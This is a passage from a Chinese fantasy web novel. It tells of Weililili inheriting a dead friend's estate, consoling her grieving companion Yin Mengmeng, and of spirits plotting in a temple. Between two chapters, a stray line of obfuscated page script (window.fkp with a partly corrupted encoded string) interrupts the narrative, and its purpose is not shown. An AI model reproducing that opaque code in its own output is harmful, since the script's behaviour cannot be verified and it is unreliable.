回到城内,茵萌萌她们遭到了另一伙人的追击。所幸伊在车上,凭借伊的人缘,苍白出手协助她们。苍白带着手下拦住了那些追兵,并以检查危险通缉人物的理由封锁了许多区域,让伊她们能安全撤离。区域设置完之后,伊无意间看到车载地图上的区域标识。有一点让伊感动的是,苍白封锁的区域都是沿着她们的撤离路线的边缘设置的,正好堵死了一切能靠近她们的道路,可以说是是专门为她们开通了安全之路。 之后,伊她们到了医院。一通操作下来,最终得到的结果是好的,薇莉莉的身体状况没有一点问题,早已经没了之前病殃殃的样子。然后,伊她们来到斯特迪罗家族的聚居地,在这里暂避一段时间的风头。在斯特迪罗家族的庇护下,没人敢来找伊她们的麻烦,可见斯特迪罗家族的名号还是很响亮的。时间一天一天过去,这件事也渐渐平息了下去。 至此,这场闹剧算是彻底画上了句号。 一周后...... 通历43年8月17日,这件事的风波已经过去。不再有人去追杀薇莉莉,当事人们的生活也都平静下来。 在这件事之中,当事人们都受到了不同的影响,其中受影响最大的还属薇莉莉。作为那场惨剧的唯一见证人,她的心灵遭受到极大的打击,那份痛苦可以说是能击垮一个坚强的人。苏醒之后直到现在,她已经从悲痛之中走了出来,也坦然接受了星北空已经离去的现实。 她真的非常坚强,所有当事人中她是第一个走出阴影之中的人。之后每当提起这件事时她总能挤出微笑,与别人轻松谈论这件事,一点逃避的意思都没有。谈论这件事时,她总会真心去夸赞星北空,将星北空描述成她心目中最好的男人。但即便坚强如她,刚回家的那几天她也在半夜偷偷哭过。 她总能笑着面对生活中种种不如意,尽管她遭受的痛苦有多沉重。在别人眼中,她永远是大姐头,永远是那个坚强的大姑娘,永远是无论什么危险都冲在前面、不顾危险的那个女战士。但她也有脆弱的那一面,她坚韧的外表之下潜藏着一颗轻柔的心。能见到她这一面的人,可怜到只有屈指可数。真正了解她的人,只有过去的影子了,世上独一无二。 她总是会去帮助别人,而很少寻求帮助。她很好“面子”,却能为了别人而不要“面子”。她始终都很倔强,说一不二,讲究个说到做到、言出必行。这份倔强,让她活得比别人要累,但她始终坚守着这份倔强;她认为这是她的尊严,是她的生存之道。 她也很霸道,她的意见往往都是决定性的,别人的想法很难去改变她的想法。她贯彻一个理念:“她说什么就是什么,有异议全都不好使。不听从就论证出个所以然来,论证不了就老实猫着。”但这份霸道也有妥协的时候。如果是为了多数人的利益,她的提议若是不完美,她也会舍弃,去选择最好的那个提议。在集体利益这个问题上,她只会选择对大家好的。在她眼里集体利益大于个人利益,集体的地位在她心里是很高的。 但实际上,她的倔强和霸道之下,是一颗需要关怀与帮助的心。她也是需要帮助的人,只是不愿去求助别人,除非是什么特别棘手的事。她总是喜欢看到别人的笑脸,不管自己心里是怎样的难过。她总是希望别人能过得开心快乐,不管自己过得有多难、多窘迫。就如“星北空”那时说的一样,只是一腔热血,一种单纯的信仰,她们就走到了今天的地步。 她是传奇人物,名声远扬。她也是个普通人,为了生活而奔波着。虽有传说之名,但其实她还是比较平凡。对于她来说,传不传奇无所谓,只要能守护住身边的家人朋友,平凡到无名也无所谓。星北空教会了她很多东西,她所谓的决心也不再是偏执与怨念促和出的畸形,而是一颗纯粹的、坚毅的、如星辰一般的决心。她明了了什么是爱、什么是真正的决意、什么才能被配称为真正的“血浸玫瑰”。 这件事之后,INF-wR-0的声音她再也听不到了,那来自虚空的呼唤也不再侵扰她了。但代码0和杀戮者的力量还残留在她的体内,所幸的是,这份力量真正属于她,任由她支配。斩星在刺入她体内后消失了,但部分力量还残存在她的体内,这是星北空留给她的最后礼物。 这几分力量混合在一起,促合成了一份强大的核心能力。融合科技、决意与星辰的终极产物,是血骸蜕茧成蝶后的最终升华,是仅属于她的独特。她为其取名为:“血落星华”,一个中二的名字。这其中倾注了她对已逝斯人的思念与对自我的期待。其实这名字后面还有个玫瑰二字,但她取名时省略了。因为他曾经说过:“她是如玫瑰一样的女人。” 苏醒后,她为那些英勇牺牲的斯特迪罗战士举办了追悼会,并诚心感谢了在这起事件中帮助她的每一个人。追悼会上,斯特迪罗家族的人们热泪盈眶,心怀对死者的敬意。这些死去的人给她造成了不小的心理阴影,让她几日之内都无法释怀。愧疚成了她那几日的主要情感,她觉得是自己连累了他们,觉得他们是不该为自己而死的。 今日上午十一点多,一辆悬浮车停在了薇莉莉家楼底下。两个带着墨镜的保镖从中走下,为车内的少爷开了门。那个少爷带着一个手提箱下了车,然后环视了一圈周围的环境。这里的条件跟他生活的地方天差地别,在他眼里也就公寓楼的造型还说得过去。简单看了一圈之后,他和保镖一起走进了这栋公寓。 咚......咚......咚...... 有人在敲薇莉莉的家的门。薇莉莉正在喝着茶水,悠闲地看电视。她这几日给自己放了假,想搁家清净几天。听到有人敲门,她有些好奇,就急匆匆地过去给开了门。刚开门的一刹那,她惊呆了。她面前的那个男人看着很眼熟,但又十分陌生。蓝头发、优雅的举止、温柔的微笑,是她最想再次见到的。她一度以为自己在做梦,但心里激动得已经不得了。 两个保镖打量了她一番,然后在一旁小声嘀咕。 保镖甲: “少爷,看来是她没错了。” 保镖乙: “长得还不错,只能说大少爷眼光不错。” 她很激动,上前想抱住少爷。其中一个保镖见了,立马上前伸手阻拦住她,并警告道: “喂!保持安全距离。” “不用那么冷漠,毕竟是我哥中意的人。” 少爷吩咐那位保镖。听到大哥二字,薇莉莉心中的种种猜测都被抹除了,那份激动也消失了。她感慨自己有些蠢,逝去的人怎么还有回来的可能?她叹了口气,然后接少爷和那两位保镖进了屋。 少爷和她坐在了沙发上,一人坐一边。两个保镖在沙发旁站着,站姿极为标准。少爷坐下后,将手中的手提箱放在茶几上,打开,拿出几份协议与一根高档钢笔。她见了挺不解的,不明白他找自己来是干什么。 薇莉莉: “请问你是星北空的弟弟吧。” “没错,薇莉莉小姐。自我介绍一下,我叫星北海。” 少爷微笑着即答道。那份笑容与他哥几乎一模一样,看得让她不禁回想起他大哥来。她很快打住,眼下是知道对方来意要紧。知晓对方的身份后,她直接切入正题,询问起他们来这里的缘由。 薇莉莉: “请问你们来,找我有啥事啊?” 星北海: “嗯?你不知道?” 薇莉莉: “啥呀?说啊!” 星北海: “我哥留下了一份遗产......” 薇莉莉: “哦。要遗产来的是吧?拿走吧,你是他弟,是他唯一的亲人,拿走也是顺理成章。我一分都不会要......” 星北海: “不不不!薇莉莉小姐,你误会了。根据我哥的遗嘱,这份遗产我确实会顺理成章的拿走一部分。但是,在这一份遗产之中有属于你的一部分。” 听到他这么说,薇莉莉皱紧眉头,一脸惊讶的样子。她始料未及,没想到星北空会这么做,那是她想都不敢想的。 薇莉莉: “啥?!真......真的?” 星北海: “对的。他总共留下了价值五百六十一万的遗产,其中你可以拿到三百八十七万。其中包括一栋地平区的豪宅,占地580平米、一辆追风者V3、以及杂七杂八的各类收藏品......” 薇莉莉被惊得一时说不出话来。这笔财产对她来说就是天文数字,是她这辈子整过的钱不知多少倍。只要拿下这笔遗产,她就能步入地平区,成为地平区的居民,她的梦想也将会完成。讷讷半晌之后,薇莉莉才渐渐缓过神来。她被惊到说话都磕巴了,一时之间都不知道东南西北了。 薇莉莉: “卧槽!卧槽!!卧槽!!!真......真的?你说真的?” 星北海: “不必那么激动的,薇莉莉小姐。” 薇莉莉: “太好了!这下我就能离开这里,搬到地平区去生活喽。” 突然间,她意识到了什么,随即那份快乐转瞬即逝。虽说离开这里是她的梦想,但到了真正有能力离开的时候,她反而有些舍不得。她舍不得这座陪伴她这么多年的城市,这是她一段段故事开始的地方;她舍不得这些熟悉的人们,因为他们是她为之誓守的。她此刻陷入矛盾,不知该怎么去做。想自私一点选择离开,但又担心这里的人们;想大方一点留在这里,但机会在眼前又有些不甘心。 星北海: “既然你已经同意接受我哥的遗产,那么就签下你的名字吧。” 星北海将手中的协议和一支钢笔递向了她。她接过协议与钢笔,犹豫了片刻,然后签下了自己的名字。从这一刻开始,她拥有了一笔一辈子也花不完的财富,跻身成为富人行列中的一员。拿到这笔财富,她既不开心也不难过,甚至觉得可有可无。曾经祈求富裕生活的她,此刻竟如思想高明的贤者一般,对钱的需求变得少了甚多。 星北海: “好的。遗产转移协议即刻生效,薇莉莉小姐你拥有了协议上承诺的一切。恭喜,你有资格步入地平区生活了。如果需要,我可以接你到你的新家,并为你安排好一切。” 薇莉莉: “先别说这个,我问你几个问题。星北空这份遗嘱是什么时候立下的,为什么我不知道?” 星北海: “大约是8月10日的凌晨四五点钟。” 薇莉莉: “原来他那时候已经预见结局。星北空......你这家伙......” 星北海: “遗嘱之中还有几条,我希望让你知道。” 薇莉莉: “什么?说。” 星北海: “他说务必要把你和一个叫茵萌萌的姑娘送到地平区去生活,而且还嘱咐我要照顾好你们。他说的老全面了!工作啊、吃住啊、人际交往啊什么的都有刻意嘱咐,就怕你们去了地平区不习惯。” 星北海: “哦,对了。我哥还特意说了。薇莉莉小姐脾气不好,给她介绍个好点的工作,最好是由着薇莉莉小姐的意愿来。还有,我哥说让我给茵萌萌小姐介绍个对象,不求帅只求能一心一意对待她,顺带也给她安排个适合的工作......” 薇莉莉心里别提有多感动了。一时间,一向坚强的她眼角也不禁泛起泪花,感动得是热泪盈眶。星北空的行为再次刷新了她的认知,不由得为他的温柔与善意而感动、而落泪。见她落泪,星北海递来了纸巾。 星北海: “薇莉莉小姐,别伤心。我知道你跟我哥是很要好的朋友......” 她摆手拒绝,擦擦眼泪又恢复那副坚强的样子。 薇莉莉: “你跟你哥一个样啊。都是那么......温柔。” 星北海: “过奖了。我不至于那样,我跟我哥还是有些区别的。但我哥,是值得被你这么夸赞的。” 薇莉莉: “你倒挺会说话。说的也是,说的也是啊......” 星北海: “薇莉莉小姐,我还会在这里停留三日,收集我哥生前的那些遗物。你可以来帮忙哦,顺带你也能留下点纪念什么的。” 薇莉莉: “我会的。” 星北海: “好了。我也该去着手这件事了。再会,薇莉莉小姐。” 说完,星北海起身离开。他的保镖见了,立即为他打开了房门,迎他出来。在走出房门前,星北海驻足了片刻。这个场景很熟悉,这勾起了她的回忆。这背影与他很相像。恍惚间,她看到熟悉的人站在熟悉的位置,仿佛回过头来,还能看到那张让她百看不厌的脸。但这次不一样,回头的人早就定格在过去,成了回忆里影子。 星北海转过头来,笑着告诉薇莉莉: “希望你可以好好地活着,薇莉莉小姐。我哥生前最放不下的人是你,死了最放不下的人也是你。我不知道我哥到底有爱你,我只知道他最在乎的人是你,甚至我这个弟弟都不及你。祝你有快乐的一天,再会。” 说完,星北海轻轻关上门,离开了。见到星北海离开,薇莉莉不再故作坚强,而是小声地哭了起来。这泪水之中有着喜悦,但更多的是对他思念与惋惜。她的哭泣带着浓浓的悔意,她每一滴流下的泪水都是真诚的。她后悔自己的鲁莽、后悔自己的过错、后悔自己没好好去珍惜他,在失去时才知道拥有的可贵。这是她不知多少次因他而哭泣了。 落幕总是伴随着悲痛,分别总是伴随着泪水。他的故事结束了,可她的故事还在进行着。 哭过之后,她回到自己的房间,重新拿起那些星北空曾赠予她的礼物。再度拿起这些礼物时,她带着与之前截然不同的心理。一举一动都真诚起来,这些礼物在她眼中如圣物一般。这些礼物上还残存着他的气息,仿佛拿到这些礼物就在昨日。这些礼物是他曾存在过的证明,是他对薇莉莉一份又一份善意。看着这些礼物,她因为自己曾经的冷漠而心痛,那份愧疚感也顺着她拿着礼物的手爬上她的肩膀。在沉痛过去的同时,她也坚定了那份前进的决心。她要好好地活下去、她要守护好身边的一切、她要像玫瑰一样绽放出绚丽的色彩,不辜负每一个人对她的期望。 她下定决心去地平区生活,她要成就自己的一番事业,让所有看好她的人为之振奋,让他的在天之灵为之欣慰。她要让自己变得强大起来,让身旁的人能在她的庇护下安全地生活。身在异乡,名声在外,靠威严庇护一方,靠实力打出天下。她会为此奋斗,为此坚守,直至倒下或者胜利。 她洗了一把脸,将哭泣的痕迹洗去。擦完脸,她凝视镜中的自己。头发血红,长发垂丝靠有后背。她不自觉地摸了下头发,只是抓到一根断发而非落发。这表明之前的病已经离她远去,她现在非常健康,就如以前一样;甚至她对比以前还长胖了一些。种种迹象表明她恢复的很好,与之前比起来就如重获新生一般。经历过死亡的威胁,她更加明白生命的可贵。 薇莉莉对镜中的自己说道: “加油吧,薇莉莉。为了梦想和未来奋斗吧!加油。” 洗完脸,她换好衣服,就出门去找茵萌萌。茵萌萌好几天都闷在屋里不出来,一看就是受了很大的刺激。为了安慰茵萌萌,让茵萌萌重拾生活的意义,她没少操心。但这姑娘就跟中了邪似的,无论她怎么做、怎么劝,她就是走不出那件事的阴影。每当在这姑娘面前提起星北空,就免不了被这姑娘抱着,去遭受她泪水的洗礼了。 这次敲门,茵萌萌没有墨迹,很快就给薇莉莉开了门。再次见到茵萌萌时,茵萌萌比昨天还要憔悴。她眼睛都哭红了,眼圈都哭肿了,而且还有黑眼圈;她眼神迷离而无神,满脸的沧桑与憔悴,身上还散发着淡淡的酒气,看来她昨天喝了个通宵。薇莉莉未料到她能如此,吓得浑身一颤。 薇莉莉心想: “这还是我认识的茵萌萌吗?怎么一天不见就成了这幅样子。” 见到薇莉莉来了,茵萌萌笑了,然后迷迷糊糊地把她迎进了屋。刚进屋没多久,薇莉莉就看到了饭桌旁的那一箱啤酒,转头一看,茶几上还被捏过的几罐啤酒。茵萌萌迷迷糊糊地往沙发上一靠,对着天花板傻笑。薇莉莉见了,这还得了!再这么弄下去,茵萌萌就离进精神病院不远了。她不能让这个心灵纯洁的姑娘因为这件事而毁掉。 薇莉莉坐在茵萌萌身旁,看着她这样很是揪心。 茵萌萌: “呵呵......呵呵呵......呵呵......” 薇莉莉: “萌萌,别再因为这件事而伤心了。你看看你都变成什么样子了?好端端一个利整的小姑娘,都变成酒鬼了。” 茵萌萌: “昂?那怎么了?我伤心了,难道不能消遣一下自己吗?” 薇莉莉: “可你这消遣都有个度啊!你再这样下去就得进精神病院了。” “啊?那也挺好。我还想见识下精神病院的样子呢。” “那可不行啊!那样你不就毁了吗?” “毁了?毁不掉的。只要我还有......(嗝)一口气,我就是完好的。毁掉什么的,不存在的。” “你这样我很难过......” “哦?别难过呀,姐。我不过就是放纵了一下自己,不必为我而感到伤心的。放开看,生活还是......(嗝)很美好的。” “你这幅样子要是让他见了,不知他得是个什么表情。” “他?啊哈哈哈哈,他......杯子,杯子哥。哈哈哈!北子哥人老好了,人长得帅,说话还好听。对我就跟对待亲生妹妹的似的。走......走之前还劝导我一番,告诉我其实我人不错,希望我能找到自己的另一半。呵呵呵,他真的太......(嗝)太好了......” 茵萌萌仰着的头低了下来,靠着沙发突然一声不吭。过了一会,她还是没动静。薇莉莉以为她睡着了,伸出手碰了她一下,谁知她突然一下子扑进薇莉莉怀里,把头薇莉莉怀里痛哭。 “北子哥!呜呜呜呜......北子哥!你怎么突然就走了?为什么......呜呜呜呜......北子哥那么好,为什么,为什么上天要这么对他?都说好人有好报,好报呢?好报呢?!骗人的,都是骗人的!北子哥,北子哥!呜呜呜呜呜......” 薇莉莉默默地抱紧了她,轻声安慰她受伤的心灵。她不止一次在薇莉莉怀里这样哭了,这几日只要薇莉莉来,一般提起他时,她都会如此。想当初,在这件事之前,她从未像今天这样在薇莉莉怀里痛哭。她一向很坚强、遇事都很乐观,如其名“阳光绿草”一样。她是个很阳光乐观的姑娘,风吹雨打都不怕,几句自我鼓励就能挺过难关。可这次,她却再也做不到。这件事对她的打击过大,已经超过了她的心理承受范围。 越是阳光与坚强的人,心里最柔弱的那部分也就越柔弱。 对于她来说,她这辈子最伤心的事莫过于此。 失去这样好的同伴,一时之间她无法接受这样的事实。她的心灵受创,她感受到前所未有的悲伤难过。在那时候,明明她们是笑着对彼此道别的、明明她们对彼此都留下几分期待、明明希望的大道就在摆在她眼前......可她殊不知那竟是最后的一面,她甚至连一句道别都没机会说上。再度相见,已是一墙相隔,生死分别了。 哭了有十几分钟,她哭累了,不知不觉就在薇莉莉怀里睡着了。察觉到这点的薇莉莉,很温柔地抱起她,把她抱到她卧室的床上。薇莉莉坐在床头,静静地看着熟睡中的她。她熟睡的模样让薇莉莉回想起了曾经,回想起她是怎么把他拉进家族的,又是怎么与他相处的。 薇莉莉现在想来,他对待茵萌萌的确就跟哥哥对待妹妹一样,宽容、无私、善于帮助、乐于解惑、用心关照......若是两人发色都是一样蓝,那就更像一对兄妹了。无论是对她还是对茵萌萌,他始终都保持一颗尊重的心、一颗理解的心、一颗善良的心、一颗希望他人好的心。 时间快速飞逝,很快就来到了下午。薇莉莉一直拄着下巴发呆,发呆发久了就困了。不知不觉,她两眼一闭,睡着了。但没过多久,她突然感觉到床头颤动一下,猛地睁开眼睛,转头去看茵萌萌。茵萌萌醒了,状态看着比之前好了一些,起码小脸上有了些朝气。 见茵萌萌醒来,薇莉莉露出笑容,尽可能温柔地去跟她说话。希望能用自己的一份温柔,换来她走出阴影的机会。 薇莉莉: “萌萌,睡得怎么样?” 见薇莉莉坐在自己的床头,她很困惑地歪了歪头。她没想到薇莉莉能留下,她对此挺意外的。她的表情还是憔悴的样子,仿佛一觉睡下去梦见了她的梦魇,如梦初醒但又意犹未尽。 茵萌萌: “昂?姐,你怎么还没走?” 薇莉莉: “我今天不忙,特意来陪陪你。” 茵萌萌: “陪我。算了吧......我不想浪费姐你的时间。” 薇莉莉: “没关系。你毕竟是我的搭档,管你是应该的。” 茵萌萌: “姐......你真好。” 薇莉莉: “嗯。萌萌,我得把你从这浑浑噩噩的状态中拉回来,不然这样下去可咋整。我多陪陪你,应该能减轻你的伤痛。” 茵萌萌低下头来,沉默了。 薇莉莉: “好啦,别太过伤心了。他虽然离我们而去了,但也不希望我们好好活着吗?你要是天天这样,他见了会墨迹你的。” 茵萌萌: “他......北子,北子哥......” 茵萌萌的眼角泛起了泪花。薇莉莉见她又要哭,赶忙安慰她几句,稳定住她即将失控的情绪。等稳定住了她的情绪,薇莉莉将星北海今天到来的事一五一十地告诉了她,还将星北海告知薇莉莉的那些嘱咐也都告诉了她。去地平区生活的消息对她来说无疑是一份激励与惊喜,但她此刻竟一点都笑不起来。这出乎了薇莉莉的预料,薇莉莉以为她会是一副受宠若惊的样子,但她竟还是那憔悴的表情,一点高兴的样子都没有。 薇莉莉: “萌萌,你为啥不高兴呢?” 茵萌萌: “我不想走,我想留在这里。” 薇莉莉: “为啥呢?萌萌。” 茵萌萌: “我这样的废物,去了哪不一样?留在这里反倒还亲切些。我不想去陌生的城市,我不想走。” 薇莉莉: “萌萌,我知道你现在心里啥想法。你虽然不想去面对事实,但结果已经是这样了,最后都得去面对的。生活再怎么去刁难你、怎样去打倒你,生活也始终是生活,你也终究是你。你还得站起来继续生活不是吗?要是因为挫折就彻底倒下,那怎么能行呢?” 茵萌萌的表情有了些许变化,她看薇莉莉的眼神发生了些许变换。她有些惊讶,她没想到一向直来直去的薇莉莉竟能讲起道理来。 茵萌萌: “姐,道理我懂,可是......他这么好的一个人,说走就走了,最后连个全尸都没留下!你跟他交情最好,难道你就不伤心吗?” 薇莉莉露出坦然的笑容,一抹笑容放下一切心中的悲痛。她身上的坚强光环再度浮现,那个坚强的女战士还是那样坚强。她受的伤是最深的,但她表现得却比谁都坚强、比谁都坦然。她拉起茵萌萌的手,向她深情诉说。 薇莉莉: “我会伤心,但我不会气馁。” 茵萌萌: “嗯?” 薇莉莉: “他教会我一个道理,生命的意义不在于停滞,而是不断的运动。一直沉浸在过去的伤痛之中,是无法前进下去的。生活中所遭遇的种种挫折与不如意,正是我们的最好的老师。苦痛让我们变得坚强,挫折让我们变得聪慧,失去让我们懂得珍惜,困难让我们变得强大。凡是打不倒我们的,都只会让我们变得强大!” 茵萌萌: “嗯?!姐,你怎么......” 薇莉莉: “萌萌,别再惆怅了。听姐的,重拾那份乐观与阳光吧。他已经离我们而去,可我们依然在这里。我们要做的就是好好地活着,找到自己存在的价值,活出自己的色彩。这正是他所希望的,这正是每一个爱我们的人所希望的。你想让他、让那些人失望吗?” 茵萌萌: “姐......不,不会,肯定不会!” 薇莉莉: “你想成为他们眼中的骄傲吗?” 茵萌萌: “想......” 茵萌萌的回答小声而又无力,这不是薇莉莉想听到的。她想激激茵萌萌,于是假装听不见。 薇莉莉: “你说什么?” 茵萌萌: “想。” 茵萌萌的回答声平但没有劲,这也不是薇莉莉想听到的,薇莉莉再次假装听不见。 薇莉莉: “再大点声。” 茵萌萌: “想!” 茵萌萌的回答大声而又用力,这是薇莉莉想听到的。这样一来,茵萌萌身上的忧伤就少了几分。 薇莉莉: “这样就对了!萌萌。坚强点,像个女战士一样。” 茵萌萌点了点头,脸上的憔悴少了几分,还多了一丝笑意。一道阳光悄悄地照进了她的心房,点亮了她心房的一角。 薇莉莉: “接受星北空离开我们的现实吧。这样你在往后的生活之中,才能保持那份初心、才能拥有那份动力、才能向着美好的未来前进啊!走出阴霾,迎接阳光吧。” 茵萌萌: “我......我......我做不到呀。” 薇莉莉: “没事的,茵萌萌。” 薇莉莉: “时间若是无法抚愈你的伤疤,那就由我来抚愈。无论如何,你背后都有我这个姐,都有这个东城帮。有我在,无论什么艰难险阻,我们都能一起克服的。一起!” 茵萌萌: “姐......” 茵萌萌再度落泪,不过这泪水是温热的,是蕴含感动的泪水,其中饱含真情。茵萌萌被薇莉莉的真情感动到了。薇莉莉告诉她的那些道理,打动了她的心,让她醒悟过来。一时间,风暴已去,拨云见日,她的心中放眼望去碧空万里。她一把抱住薇莉莉,又在薇莉莉怀里哭了。不过这次,她终于是想开了,决定不再沉浸过去的悲痛之中。她一时还无法摆脱这件事的阴影,但随着时间的推移,她终究会走出阴影的。 薇莉莉抱着茵萌萌,轻声安慰她。不知不觉,茵萌萌就不哭了,情绪也稳定下来。茵萌萌很感谢薇莉莉能在这个时候陪伴着她、帮她疏导情绪、教导她怎样走出阴影、给予她温暖。茵萌萌觉得薇莉莉真的很伟大。她知道,要论伤心,自己这些跟薇莉莉比起来根本不算什么。因而她更加钦佩、更加尊敬、更加喜爱她的大姐薇莉莉。 下午,茵萌萌留下薇莉莉,两人在她家一同吃了顿晚饭。到了晚上,薇莉莉还是选择留下,陪在她身旁,直到她彻底振作起来。两人不约而同地想去天台看星星,于是一拍即合,在大半夜星光最为璀璨的时候登上天台,坐在一个不错的位置欣赏星空。 今天的夜很美,只可惜月亮还差些,不是一轮圆月。今天的夜色称不上是完美,但绝对足够漂亮。天上的云彩没有几朵,今夜是个晴朗的夏夜。放眼望去满目星辰,留有人一种独特的美感。向远方眺望,星河与大地接壤,像是一口沾满星光的大锅扣在大地上。城市的夜色盖不过星光,抬头仰视,城市的夜色显得微弱许多。夜幕下的城市很美,天上的星河更美,两者放在一起,才是最美的。 她们抬头凝望着星河。那星河的确很美,美得让她们沉醉在其中。可说起具体哪里美,她们却说不出来。也许星河的美,本身就是如此吧。天上群星闪烁,星河璀璨夺目。它们所散发出的星光璀璨而又耀眼,无私照耀她们渺小的身躯与这片伤痕累累的大地。星的视线仿佛聚焦与她们身上,仿佛这星光只照耀她们。但看久了,才发现星光并没有刻意去照耀谁。星光只是默默地穿梭在浩瀚宇宙当中,恰巧碰到了这颗星球、这片土地、这两个仰望星空的人罢了。刻意不刻意的,也只是碰巧相遇。星光的本意纯洁,无非就是前进;怎么去想,是观星者们的事。 夏夜清凉的风吹过,吹走几粒渺小的尘埃,吹走阵阵的炎热,吹不动她们的思绪。一切皆已落幕,此刻的宁静来之不易。它来得仓促,让人始料未及,又有些苍凉,让人惋惜三分。不知怎么的,这星空看得她们一会笑、一会沉默、一会难过的。也许是这星空让她们想起了曾经的人吧,毕竟经历了太多也难免多想。她们自始至终没有说过一句话,就是怕打破这来之不易的宁静,怕这宁静突然离她们远去。 回望两年之前,这里也曾坐着个仰望星空的人。他不及两人的醒悟,那时他还很迷茫。直到那颗决心亮起星光,直到他选择了与星辰为伴。 天边最耀眼的一瞬间,划过天穹的霎那火焰。一去不复返,孤独地流浪在世间。绽放在刹那,熄灭在刹那,如惊鸿一样短暂,如鲜花一样美丽。它一来一去都很匆匆,却无私地留下了一瞬的美丽。它不像星河一样永恒,它的生命只有刹那;它也不像明星一样耀眼,它的绽放不过微茫。它不存在于巅峰,也不存在于彼岸。 它是渺小的、它是孤独的、它是平凡的。为何美丽?因为那一瞬,是它最耀眼、最美丽的时候,是唯一一次绽放,是平凡中的一刻不平凡。它,不及诸多苍穹,不过一粒尘埃;不及星河璀璨,不过转瞬即逝;不及明星耀眼,不过微茫残灯。但无所畏惧,仍全力以赴。一刻不平凡,一刻闪耀着;一刻美如画,一刻绚烂着;一刻如一生,一刻存在着。尽管无名,但也光荣。生命的意义就在乎这一刻,自我的价值与否就在这刹那。 那一瞬间,是她们眼中最美的一瞬间。 ...... 在星宇神殿之中,鸿之棋的身躯仍在沉睡,但他的灵魂已经苏醒。时间的封印还束缚着他,他只能在这狭小的“盒中世界”中游荡。所幸灵魂可以偶尔穿过封印去附身别人来观看这个世界,不然他没老死就得先憋屈地抑郁死了。游荡的时候,斩星突然回到了他的身旁。 斩星: “鸿之棋,一切都落幕了。那个人类的灵魂已经与我结合,可惜除了执念与外形以外什么都没留下。” 鸿之棋·炎黄北武: “哎......结果不尽人意,但他的心愿达到了不是吗?” 斩星变成人形,化身为星北空的样子。不过比起原来的星北空,他身上多了一件帅气的绒毛大衣。人形的斩星让鸿之棋很满意,无论是从外表还是其蕴含的实力。 星北空·斩: “那倒确实,但我感觉还是有些可惜。若那时有人能去帮他,也许这结局不会落得这样悲惨。毕竟搭在记忆的灵魂破碎了,那这一辈子就等于白活了。冥河得不到一分记忆......” 鸿之棋·炎黄北武: “看开点,斩星。毕竟他心念的人还活着。这样,他也能欣慰地活在你体内。落幕虽是无奈与叹息,但起码还有人在啊。” 星北空·斩: “说来也是。不管结局如何,路,还要走下去,生活,还得过下去。能帮他与那个女人再见一面,我们已经仁至义尽了。接下来,我们也该进行我们的计划了。” 鸿之棋·炎黄北武: “有理,有理。那你调查到那诡异能量的来源了吗?还有这片大陆的循环究竟是怎么回事?” 星北空·斩: “那诡异能量来自创世之柱,有人污染了起源之土。并且,那一次次的循环导致那能量越发扭曲,受其影响的大批循环残留物都变得面目全非,如同一只只野兽。而且......还有人在利用那些残留物的力量,试图打破大自然的规则,制造究极人类。” 鸿之棋·炎黄北武: “什么?!看来......我明白为什么那个逆神者会设置陷阱封印我们六个棋了。也许我们这些棋的存在,会干扰到他的计划吧。” 鸿之棋·炎黄北武: “卡门曾在我中埋伏之前警告过我,那个家伙很危险,是来毁灭我们这个世界的人,是我们最大的敌人。可惜卡门留守在创世之柱之中,每二十年才有一天能出来观察这个世界。如果有她帮忙,也许事情会轻松过许多。” 星北空·斩: “我们不能再坐以待毙了!鸿之棋。这所谓的循环诅咒是有人在为这个世界拖延时间,延缓末日的到来。那个人,我知道是谁。而且这个人,还跟这一世界的守望者有关。” 鸿之棋·炎黄北武: “别卖关子,说来听听。” 星北空·斩: “他是白之章殇无间的后人,武圣家族的终末,是掌握半神屠宰之刃的人间守望者,大名鼎鼎的王殇之翼:殇。” 鸿之棋·炎黄北武: “原来如此。” 星北空·斩: “他也跟逆神者处于敌对关系。而且,他发誓要弑神,夺回这个世界的自由。依我看,他是最有可能做到这件事的人。” 鸿之棋·炎黄北武: “哦?那是最好的。他可以变强,可以超越神明,但我衷心希望他不会有成为棋的这一天,尽管他的祖上是白之章。” 星北空·斩: “鸿之棋,还有个喜讯。” 鸿之棋·炎黄北武: “讲。” 星北空·斩: “调和剂长大了,是人的模样。” 鸿之棋·炎黄北武: “诶呦!啊哈哈哈哈哈哈!太好了!我们的希望又多了一分。” 星北空·斩: “还有,那份诡异能量貌似不分敌我,我们可以利用这股力量重返人间,但恐怕会带来一些问题。我觉得,出去了,总比留在这里强。至于走不走,还得由你决定。” 鸿之棋·炎黄北武: “等我的身躯被唤醒吧。那时再做打算......” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十八话:放眼展望,碧空万里(上) 通历43年8月19日,一个不平凡的日子。今日,是薇莉莉和茵萌萌启程前的最后一日,也是星北空尸骸归乡的日子。今日,也是殇和伊在这里停留的倒数,三日后他们也要离开。今日,还是个炎热的晴天。 上午,殇和伊都有些心神不宁。想到薇莉莉她们马上要走,就有些舍不得她们,即便他们知道自己也快离开。殇和伊想给薇莉莉她们打个电话问候一下,但他们总是按不下电话上的拨通键,怕很多,担心很多。在他们犹豫不决之际,薇莉莉主动给他们打来了电话。 拨通电话,电话那头传来了薇莉莉轻柔的说话声。与往常不同的嚣张跋扈与强硬不同,此刻的薇莉莉说话温柔了许多。从这声音之中,殇和伊听出了她的真诚,是她刻意为之,她想向殇他们恳求些什么。 薇莉莉: “喂?殇,上午好啊。” 殇: “嗯。早上好,薇莉莉。对了,你现在好些了吗?” 薇莉莉: “嗯。好多了。” 殇: “你很坚强,这是毋庸置疑的。还有,他的那件事......我深表惋惜。没能救下他,我很抱歉。” 薇莉莉: “不用这番自责,殇。你也尽力了不是吗?起码你让他满意的离开了,没造就太多的遗憾,不是吗?” 殇: “确实,确实啊。” 薇莉莉: “殇,我今天找你......不,应该说找你和伊是有事相求。不知道你和伊有没有时间。” 殇: “有。有啥事就说出来,能帮的我们一定会帮。” 薇莉莉: “也没多大事。就是想在走之前,让你们陪陪我和萌萌。” 说到此处,薇莉莉突然激动起来。似乎是内心的渴求此刻溢出,让她一时没控制住自己的情绪。 薇莉莉: “我们有个计划!我们想追寻过去的影子,想去那些承载回忆的地方。我们不想孤独的去,所以想找你们来陪同我们一起。毕竟你们帮助我们很多,感激之言都说不完的那种。” 殇: “可以。你说吧,去哪里找你们?” 薇莉莉: 